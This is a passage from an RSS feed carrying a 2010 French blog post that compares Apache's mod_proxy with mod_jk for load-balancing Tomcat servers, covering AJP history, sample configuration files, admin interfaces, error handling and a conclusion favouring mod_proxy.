		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tomcat load balancing &#8211; mod_proxy vs mod_jk le match</title>
		<link>http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/</link>
		<comments>http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 15:21:18 +0000</pubDate>
		<dc:creator>Cyrille Le Clerc et Séven Le Mesle</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Java / JEE]]></category>
		<category><![CDATA[Load Balancer]]></category>
		<category><![CDATA[Reverse Proxy]]></category>
		<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=3952</guid>
		<description><![CDATA[Dans notre article sur l'utilisation de HTTPS avec Tomcat en production, nous avons étudié les solutions reposant sur la mise en place d'un reverse proxy HTTP. Nous n'avons pas oublié pour autant le protocole AJP. Ce protocole est né pour faciliter et accélérer les communications entre un serveur web frontal et le serveur d'application JServ [...]]]></description>
			<content:encoded><![CDATA[<p>Dans notre article sur l'<a href="http://blog.xebia.fr/2009/11/13/tomcat-ssl-communications-securisees-et-x-forwarded-proto/" title="utilisation de HTTPS avec Tomcat en production" >utilisation de HTTPS avec Tomcat en production</a>, nous avons étudié les solutions reposant sur la mise en place d'un reverse proxy HTTP. Nous n'avons pas oublié pour autant le protocole AJP. Ce protocole est né pour faciliter et accélérer les communications entre un serveur web frontal et le serveur d'application JServ en back-end d'Apache. Avec le temps, Tomcat a remplacé Apache JServ mais AJP est resté. Jusqu'en 2003, AJP était la seule solution viable permettant de placer le serveur d'application derrière un serveur Apache. Avec la maturation de la fonctionnalité Proxy dans Apache est née la solution tout HTTP. Nous avons donc décidé d'organiser un match opposant la solution AJP à la solution HTTP.</p>
<h2><a name="Unpeudhistoire"></a>Un peu d'histoire</h2>
<p>Tout commence en 1997 avec la création d'Apache JServ. A l'époque, il s'agit d'un serveur de Servlet qui supporte uniquement le protocole AJP créé pour l'occasion. Dans l'architecture initiale, c'est Apache 1.1 qui fournit le serveur web et transfère les requêtes par socket au moteur de Servlet. C'est la naissance du protocole <a href="http://sciencedesk.arc.nasa.gov/jservdocs/protocol/AJPv1.html" title="AJP dans sa premire version" >AJP dans sa première version</a> implémentée par le mod_jserv. L'Apache JServ Protocol fonctionne au départ comme un proxy qui redirige le flux vers JServ. Le protocole est en texte clair et utilise un caractère en début de ligne pour distinguer les différents éléments de la requête.</p>
<p>Rapidement, le protocole initial est considéré comme trop limité car il fonctionne uniquement en loopback et possède une authentification pauvre. En 1998, le protocole <a href="http://sciencedesk.arc.nasa.gov/jservdocs/protocol/AJPv11.html" title="AJP 1.1" >AJP 1.1</a> permet à JServ de tourner sur une autre machine que le serveur web et d'assurer une authentification forte basée sur md5. Avec le développement de JServ appparaît un problème de performance important : le coût d'ouverture d'une socket et la vitesse des réseaux. Ils sont considérés à l'époque comme les principaux goulets d'étranglement. Pour résoudre ces problèmes, le protocole passe à la version 1.2 dont vous trouverez le draft initial <a href="http://sciencedesk.arc.nasa.gov/jservdocs/protocol/AJPv21.html" title="ici" >ici</a>. AJP 1.2 est un protocole binaire orienté paquets qui permet de recycler la ou les sockets connectées à JServ. Le passage au binaire permet aussi d'améliorer les performances car il diminue la taille des données qui transitent et simplifie le traitement.</p>
<p>En 1999, Sun offre son implémentation de référence des Servlets à la fondation Apache. C'est le point de départ des projets Tomcat et Ant. Commence alors une période de transition qui finira par l'abandon d'Apache JServ. Pendant cette transition, AJP sera porté sur Tomcat qui bénéficiera d'emblée d'une facilité d'interconnexion avec Apache. Aux alentours de 2000, le mod_jk est développé pour étendre AJP qui pourra supporter le transport des données SSL. C'est la version 1.3 que l'on retrouve aujourd'hui supportée par les dernières générations de Tomcat. Après toutes ces années de développement, le mod_jk est maintenu par le projet <a href="http://tomcat.apache.org/connectors-doc/" title="Tomcat Connectors" >Tomcat Connectors</a> et n'a jamais été intégré aux projets Apache.</p>
<p>La création d'AJP résulte donc de la simplicité et de la rapidité de développement souhaitées par les auteurs. Il fallait aller vite, et implémenter un proxy pleinement compatible HTTP aurait été trop long. Le module mod_proxy existe depuis 1996 dans Apache 1.1. Mais il s'agissait d'une fonctionnalité expérimentale qui n'offrait ni performance ni stabilité. A la sortie d'Apache 2, le proxy a même été dé-scopé car il ne fonctionnait plus du tout. Les développeurs vont pourtant rapidement le corriger et le réintégrer comme solution pour faire des reverse proxies. Pour la sortie d'Apache 2.2, le mod_proxy est entièrement réécrit pour supporter le load-balancing. Il offre, pour la première fois dans Apache, une solution capable de concurrencer le mod_jk en performance et en scalabilité. Cerise sur le gâteau, Apache a décidé de supporter nativement le protocole AJP en ajoutant un mod_proxy_ajp à la solution mod_proxy.</p>
<h2><a name="Installation"></a>Installation</h2>
<h3><a name="modproxy"></a>mod_proxy</h3>
<p>Le mod_proxy fait partie de la distribution standard d'Apache HTTPD. Il est livré avec le mod_proxy_http, le mod_proxy_ajp et le mod_proxy_balancer. Il suffit donc de s'assurer que ces modules sont bien chargés au démarrage d'Apache.</p>
<h3><a name="modjk"></a>mod_jk</h3>
<p>Si mod_jk était autrefois très délicat à installer avec la compilation du code sur un serveur similaire au serveur cible, la situation s'est grandement simplifiée. Le projet <em><a href="http://tomcat.apache.org/connectors-doc/" title="Apache Tomcat Connector" >Apache Tomcat Connector</a></em> fournit désormais <a href="http://www.apache.org/dist/tomcat/tomcat-connectors/jk/binaries/" title="les binaires" >les binaires</a> pour les principales plateformes (Linux, Windows, Free BSD, Mac, Solaris, AIX, etc). Il faut donc télécharger le binaire du module et le copier dans le répertoire contenant les modules Apache.</p>
<h2><a name="Configuration"></a>Configuration</h2>
<p>Pour mieux comparer les deux solutions, nous avons choisi de prendre comme exemple l'utilisation d'Apache en front desservant deux Tomcat en load-balancing. Nous ne nous intéresserons ici qu'à la configuration d'Apache HTTPD. La configuration AJP de Tomcat étant déjà largement documentée sur le web et celle via HTTP dans nos articles précédents, nous n'aborderons pas ces problématiques.</p>
<h3><a name="modproxyhttpmodproxybalancer"></a>mod_proxy_http &#038; mod_proxy_balancer</h3>
<p>La configuration du mod_proxy consiste d'abord à s'assurer que les modules soient bien chargés avec les directives <code>LoadModule</code>. Nous activons ensuite le <code>server-status</code> ainsi que le <code>balancer-manager</code> pour obtenir une interface de surveillance / administration du load-balancer. Enfin, nous avons configuré le <code>Proxy balancer</code> nommé <code>my-application-cluster</code> pour contenir nos 2 serveurs Tomcat. La dernière ligne de configuration active le reverse proxy pour que les requêtes sur <code>/my-application</code> soient redirigées vers le <code>/my-application</code> du load-balancer.</p>
<p><strong>Configuration avec mod_proxy_http &#038; mod_proxy_balancer - httpd.conf</strong></p>
<div class="syntax_hilite">
<div id="xml-8">
<div class="xml"># LOAD MODULES<br />
LoadModule proxy_module libexec/apache2/mod_proxy.so<br />
LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so<br />
LoadModule proxy_balancer_module libexec/apache2/mod_proxy_balancer.so</p>
<p># STATUS AND MONITORING<br />
# Display proxy balancer status in /server-status page</p>
<p>ProxyStatus On<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Location</span> /server-status<span style="font-weight: bold; color: black;">&gt;</span></span><br />
&nbsp; &nbsp; SetHandler server-info<br />
&nbsp; &nbsp; Order deny,allow<br />
&nbsp; &nbsp; Deny from all<br />
&nbsp; &nbsp; Allow from localhost<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Location<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Location</span> /balancer-manager<span style="font-weight: bold; color: black;">&gt;</span></span><br />
&nbsp; &nbsp; SetHandler balancer-manager<br />
&nbsp; &nbsp; Order Deny,Allow<br />
&nbsp; &nbsp; Deny from all<br />
&nbsp; &nbsp; Allow from localhost<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Location<span style="font-weight: bold; color: black;">&gt;</span></span></span></p>
<p># APPLICATIONS CONFIGURATION</p>
<p><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Proxy</span> balancer://my-application-cluster<span style="font-weight: bold; color: black;">&gt;</span></span><br />
&nbsp; &nbsp;BalancerMember&nbsp; &nbsp; &nbsp; http://node-1:8080 route=node-1 disablereuse=On<br />
&nbsp; &nbsp;# ...<br />
&nbsp; &nbsp;BalancerMember&nbsp; &nbsp; &nbsp; http://node-n:8081 route=node-n disablereuse=On<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Proxy<span style="font-weight: bold; color: black;">&gt;</span></span></span></p>
<p>ProxyPreserveHost On<br />
ProxyPass /my-application balancer://my-application-cluster/my-application stickysession=JSESSIONID</div>
</div>
</div>
<p></p>
<p>Vous pouvez le constater, la configuration est parfaitement intégrée à la configuration standard d'Apache HTTPD. Les équipes de production n'auront à priori pas de grandes difficultés à prendre en main ce type de configuration qui nécessite seulement de savoir parcourir la <a href="http://httpd.apache.org/docs/2.2/" title="documentation Apache" >documentation Apache</a> déjà bien connue des administrateurs. </p>
<h3><a name="modjk"></a>mod_jk</h3>
<p>La première étape consiste à configurer le serveur Apache pour qu'il utilise le mod_jk. Tout commence par le chargement du module avec la directive <code>LoadModule</code>. Ensuite nous fournissons le chemin du deuxième fichier de configuration définissant les <code>workers</code>.  La directive <code>JkMount</code> permet ensuite d'associer un worker du mod_jk à un pattern d'url du serveur. Pour chaque requête dont l'URL correspond au pattern, Apache va déléguer le traitement au mod_jk. Nous montons d'abord le worker <code>jkstatus</code> sur <code>/jkmanager</code> en autorisant l'accès uniquement depuis le système local. C'est ensuite au tour du <code>loadbalancer</code> qui servira notre application.</p>
<p><strong>Configuration avec mod_jk - httpd.conf</strong></p>
<div class="syntax_hilite">
<div id="xml-9">
<div class="xml"># LOAD MODULES</p>
<p>LoadModule jk_module libexec/apache2/mod_jk.so</p>
<p># MOD_JK CONFIGURATION FILE<br />
JkWorkersFile /etc/apache2/other/workers.properties</p>
<p># MOD_JK PROPRIETARY LOG FILE<br />
JkLogFile&nbsp; &nbsp; &nbsp;/var/log/apache2/mod_jk.log</p>
<p># NEEDED ON MAC SNOW LEOPARD<br />
JkShmFile&nbsp; &nbsp; &nbsp;/var/log/apache2/</p>
<p># STATUS AND MONITORING<br />
JkMount /jkmanager/* jkstatus<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Location</span> /jkmanager<span style="font-weight: bold; color: black;">&gt;</span></span><br />
&nbsp; &nbsp; Order deny,allow<br />
&nbsp; &nbsp; Deny from all<br />
&nbsp; &nbsp; Allow from localhost<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Location<span style="font-weight: bold; color: black;">&gt;</span></span></span></p>
<p># APPLICATIONS CONFIGURATION<br />
JkMount /my-application/* loadbalancer</div>
</div>
</div>
<p></p>
<p>Il faut maintenant configurer le mod_jk proprement dit dans son fichier de configuration spécifique. Il s'agit d'une liste de propriétés commençant toujours par <code>worker.</code>. La propriété <code>worker.list</code> fournit les noms des workers actifs. Le nom est ensuite utilisé pour paramétrer le worker avec des clés de la forme <code>worker.nomWorker.parametre</code>. Le premier worker activé <code>jkstatus</code> utilise le type spécial <code>status</code> qui correspond à l'interface de suivi et de gestion du mod_jk. Le deuxième worker <code>loadbalancer</code> est en fait chargé de répartir les sessions entre le worker1 et le worker2 via le type <code>lb</code>. Ce sont finalement les workers 1 à n qui assurent le transport des requêtes sur AJP1.3  vers le port 8009 d'un Tomcat distant.<br />
<strong>Configuration avec mod_jk - workers.properties</strong></p>
<div class="syntax_hilite">
<div id="xml-10">
<div class="xml"># WORKERS AND PSEUDO WORKER<br />
worker.list=jkstatus, loadbalancer</p>
<p># STATUS AND MANAGEMENT PSEUDO WORKER<br />
worker.jkstatus.type=status</p>
<p># WORKER 1 TO N<br />
worker.worker1.type=ajp13<br />
worker.worker1.host=node-1<br />
worker.worker1.port=8009</p>
<p># ...</p>
<p>worker.worker2.port=8009<br />
worker.worker2.host=node-n<br />
worker.worker2.type=ajp13</p>
<p># LOAD BALANCER PSEUDO WORKER<br />
worker.loadbalancer.type=lb<br />
worker.loadbalancer.balance_workers=worker1,worker2</div>
</div>
</div>
<p></p>
<p>Avec ses deux fichiers de configurations séparés et la syntaxe <em>"rustique"</em> du <code>worker.properties</code>, la configuration est définitivement le point faible du mod_jk. L'un des seuls avantages réside dans le nombre impressionnant de paramètres supportés qui permet un paramétrage fin si le besoin s'en fait sentir. Si seulement nous n'étions pas forcés à tant de verbosité !</p>
<h2><a name="Interfacesgraphiques"></a>Interfaces graphiques</h2>
<p>Les deux modules fournissent des interfaces web pour assurer la supervision du load-balancer. Cette fois, le mod_proxy se contente de fournir des statistiques réduites dans une interface minimaliste. L'interface liste principalement le statut de chaque nœud du load-balancer ainsi que la quantité de données envoyée et reçue par nœud.</p>
<p>  <a href="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-server-status-proxy-balancer.png"><img src="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-server-status-proxy-balancer.png" alt="screenshot-apache-server-status--proxy-balancer" title="screenshot-apache-server-status--proxy-balancer" width="450" class="aligncenter size-medium wp-image-3959" /></a></p>
<p>Outre le suivi des statistiques du load-balancer, le Balancer Manager permet aussi de faire des modifications à chaud, éditer les workers, les passer en offline, voire même changer la méthode de répartition utilisée.</p>
<p><a href="http://blog.xebia.fr/wp-content/uploads/2010/02/loadBalancerManagerModProxy.png"><img src="http://blog.xebia.fr/wp-content/uploads/2010/02/loadBalancerManagerModProxy.png" alt="screenshot-apache-server-status--balancer-manager" title="screenshot-apache-server-status--balancer-manager"  class="alignnone size-medium wp-image-3964"  width="450"/></a></p>
<p>De son côté, le mod_jk prouve sa maturité avec son interface <em>rustique</em> elle aussi, mais plus voire trop complète. Elle est composée de plusieurs pages dont une page d'accueil similaire en tout point à l'interface du mod_proxy. L'avantage réside dans la fourniture d'une page détaillant l'état complet pour chaque nœud. </p>
<p>Mais le mod_jk ne se contente pas de cela : il fournit aussi une page permettant de modifier à chaud la configuration du load-balancer. Il est parfaitement envisageable pour le déploiement en production d'une nouvelle version de l'application de couper les nœuds un à un au moment de leur mise à jour puis de les réactiver sans interruption du service.</p>
<p>Attention toutefois, car les modifications faites par ce biais sont uniquement enregistrées en mémoire, la nouvelle configuration sera perdue au prochain redémarrage d'Apache.</p>
<p><a href="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-jkmanager.png"><img src="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-jkmanager.png" alt="screenshot-apache-jkmanager" title="screenshot-apache-jkmanager" width="450" class="alignnone size-medium wp-image-3966" /></a></p>
<p>La mince différence vient probablement de la jeunesse de la solution de load-balancing du mod_proxy face à la longue expérience de production du mod_jk. Mais elle ne saurait justifier une préférence pour l'un des deux modules, qui sur ce point sont très proches.</p>
<h2><a name="LoadBalancingetgestionderreur"></a>LoadBalancing et gestion d'erreur</h2>
<p>Outre la configuration et l'interface graphique, les deux solutions disposent de quelques fonctions avancées notamment en ce qui concerne la gestion d'erreur et la gestion des sockets réseaux.  Les deux modules utilisent des pools de connexion rangés par Thread du serveur Apache et par membres du cluster.<br />
Avec le mod_proxy, il est possible de choisir parmi trois algorithmes de répartition de charge :</p>
<ul>
<li>Par requête : la charge est répartie pour chaque requête entrante en fonction de la session si elle existe.</li>
<li>Par trafic réseau : les requêtes sont envoyées vers le membre du cluster ayant reçu le moins de trafic.</li>
<li>Par taux d'occupation : la charge est répartie en fonction du nombre de requêtes en cours de traitement ou en attente.</li>
</ul>
<p>En ce qui concerne la gestion d'erreur, il n'y a pas grand chose à dire car il n'y a pas grand chose de fait. Si un timeout claque, un certain nombre de tentatives de reconnexion seront réalisées jusqu'à ce que le noeud soit marqué en erreur et n'en décolle plus.</p>
<p>C'est sur la gestion d'erreur que le mod_jk possède une plus grande sophistication que son récent concurrent.<br />
Tout d'abord le protocole AJP fournit un mécanisme de <em>health check</em> (CPing/CPong) qui permet de tester l'état du lien entre le serveur frontal et un membre du cluster. Cependant, c'est beaucoup plus limité que les <em>heart beat</em> des load balancer hardware, il n'est pas possible de tester une url pour détecter des indisponibilités applicatives (échec de démarrage de la web app, web app KO à cause de l'indisponibilité d'un backend clef).<br />
D'autre part, le module fait une distinction entre les erreurs locales temporaires qui sont sans impact particulier, un code d'erreur HTTP par exemple, et les erreurs globales qui indiquent que le serveur est clairement en erreur et ne recevra plus de nouvelles requêtes. Il existe un système d'escalade qui, en cas de répétition trop fréquente d'erreurs locales sur un noeud se charge de le passer en erreur globale. Le module se charge de réactiver le noeud en mode recovery après un délai paramétré.</p>
<p>Côté répartition de charge, mod_jk apporte un dernier algorithme de répartition reposant sur le nombre de sessions HTTP en cours par serveur. Cette méthode est relativement récente puisqu'elle est apparue dans la version 1.2.20 du mod_jk, actuellement en version 1.2.29. Elle est recommandée pour les applications chargeant fortement la session et de ce fait, supportant un nombre limité de sessions par serveur ; ce cas d'utilisation est assez marginal.<br />
Dans les deux modules, l'algorithme de répartition est pondéré par un facteur nommé "lbfactor", qui permet d'appliquer des quotas de travail aux serveurs. Ce système s'avère utile si les serveurs sont de puissances différentes par exemple.</p>
<p>Le mod_jk marque ici un petit point sur le mod_proxy grâce à sa gestion d'erreur plus fine. Attention aux effets de bord, le <em>retry</em> sur timeout en a surpris plus d'un et l'éviction de serveurs tomcat pour cause de répétition d'erreur est un beau sujet de déni de service <img src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Pour le reste, le mod_proxy colle au fonctionnement du mod_jk, ce qui ne manquera pas de faciliter son utilisation aux habitués du mod_jk.</p>
<h2><a name="Exploitationetdiagnostiquedesp"></a>Exploitation et diagnostic des problèmes</h2>
<p>mod_proxy_http présente sur mod_jk le très grand avantage d'utiliser un protocole standard, HTTP, connu de tous les acteurs d'un système d'information alors que mod_jk repose sur le protocole AJP que quasiment personne ne connait. Les administrateurs systèmes et réseaux sont habitués à HTTP et notamment à ses connections persistantes (aka HTTP keepAlive) ; ils savent ajuster leurs algorithmes de load balancing, les timeouts des firewalls et le dimensionnement des piles tcp/ip des serveurs (<code>ulimit</code>, <code>tcp_keepalive_intvl</code>, <code>tcp_tw_bucket</code>, etc).</p>
<p>Un autre atout de mod_proxy est la facilité de diagnostic. N'importe quel acteur du système d'information peut utiliser <code>curl</code>, <code>wget</code>, <code>telnet</code>, <code>elinks</code> voire wireshark pour <em>troubleshooter</em> un problème de communication HTTP; ce n'est pas le cas avec le protocole AJP qui n'est pas <em>human readable</em> et encore moins <em>human writable</em>. Choisir AJP mérite de former les administrateurs systèmes et réseaux et de prévoir des outils de tests permettant de requêter un connecteur AJP mais ce n'est hélas que très rarement fait.</p>
<p>En cas de problème réseau avec HTTP comme avec AJP, n'oubliez pas que désactiver les connections persistantes simplifie grandement les investigations et n'a rien de scandaleux en 2010 (cf <a href="http://haproxy.1wt.eu/" title="HAProxy" >HAProxy</a>) ; c'est "<code>disablereuse=On</code>" pour mod_proxy_http et  "<code>JkOptions +DisableReuse</code>" pour mod_jk <img src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<h2><a name="Conclusion"></a>Conclusion</h2>
<p>Avec sa simplicité de configuration, sa répartition de charge calquée sur le mod_jk, le mod_proxy conviendra parfaitement dans la grande majorité des cas. Il s'accommode de clusters répartissant la charge sur plusieurs noeuds ou bien en tant que simple reverse proxy. La cerise sur le gateau étant l'utilisation du protocole HTTP qui permet de garantir la portabilité des services et facilite grandement l'analyse du trafic. </p>
<p><strong>A nos yeux, avec l'intégration native de mod_proxy_http et mod_proxy_balancer à Apache, il n'y a plus de justification à ajouter le module additionnel mod_jk ni d'introduire le protocole méconnu AJP. Les optimisations d'AJP ne sont plus de mise aujourd'hui et ne justifient donc pas l'utilisation d'un mod_jk.</strong>  </p>
<p>Il reste, dans les deux cas, quelques efforts à faire pour permettre de plus facilement monter des serveurs à chaud dans un cluster. Pour la haute disponibilité sans perte, il faudra mettre en place un <a href="http://tomcat.apache.org/tomcat-6.0-doc/cluster-howto.html" title="cluster Tomcat" >cluster Tomcat</a> assurant la réplication des sessions utilisateur entre les serveurs. Encore faut-il en avoir vraiment besoin ...</p>
<p>Attention, la recommandation de Tomcat est encore le mod_jk et, il est important de garder fonctionnel ce qui marche déjà. Donc, quoiqu'il arrive, si vous avez déjà une solution fonctionnelle avec le mod_jk, inutile de migrer. Pour ce qui est de l'interface et de la gestion d'erreur, nous parions sur l'avenir du mod_proxy qui est en développement intensif et bénéficie des corrections de bug de son ainé. Reste un nouveau venu dans le paysage développé par Jboss qui attire déjà notre attention c'est le <a href="http://www.jboss.org/mod_cluster/" title="modcluster" >mod_cluster</a> actuellement, il n'est utilisable qu'avec Jboss AS. L'avantage de cette nouvelle solution en devenir est de suivre le cycle de vie des applications via un protocole spécifique MCMP reposant tout de même sur HTTP.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/feed/</wfw:commentRss>
		<slash:comments>66</slash:comments>
		</item>
	</channel>
</rss>
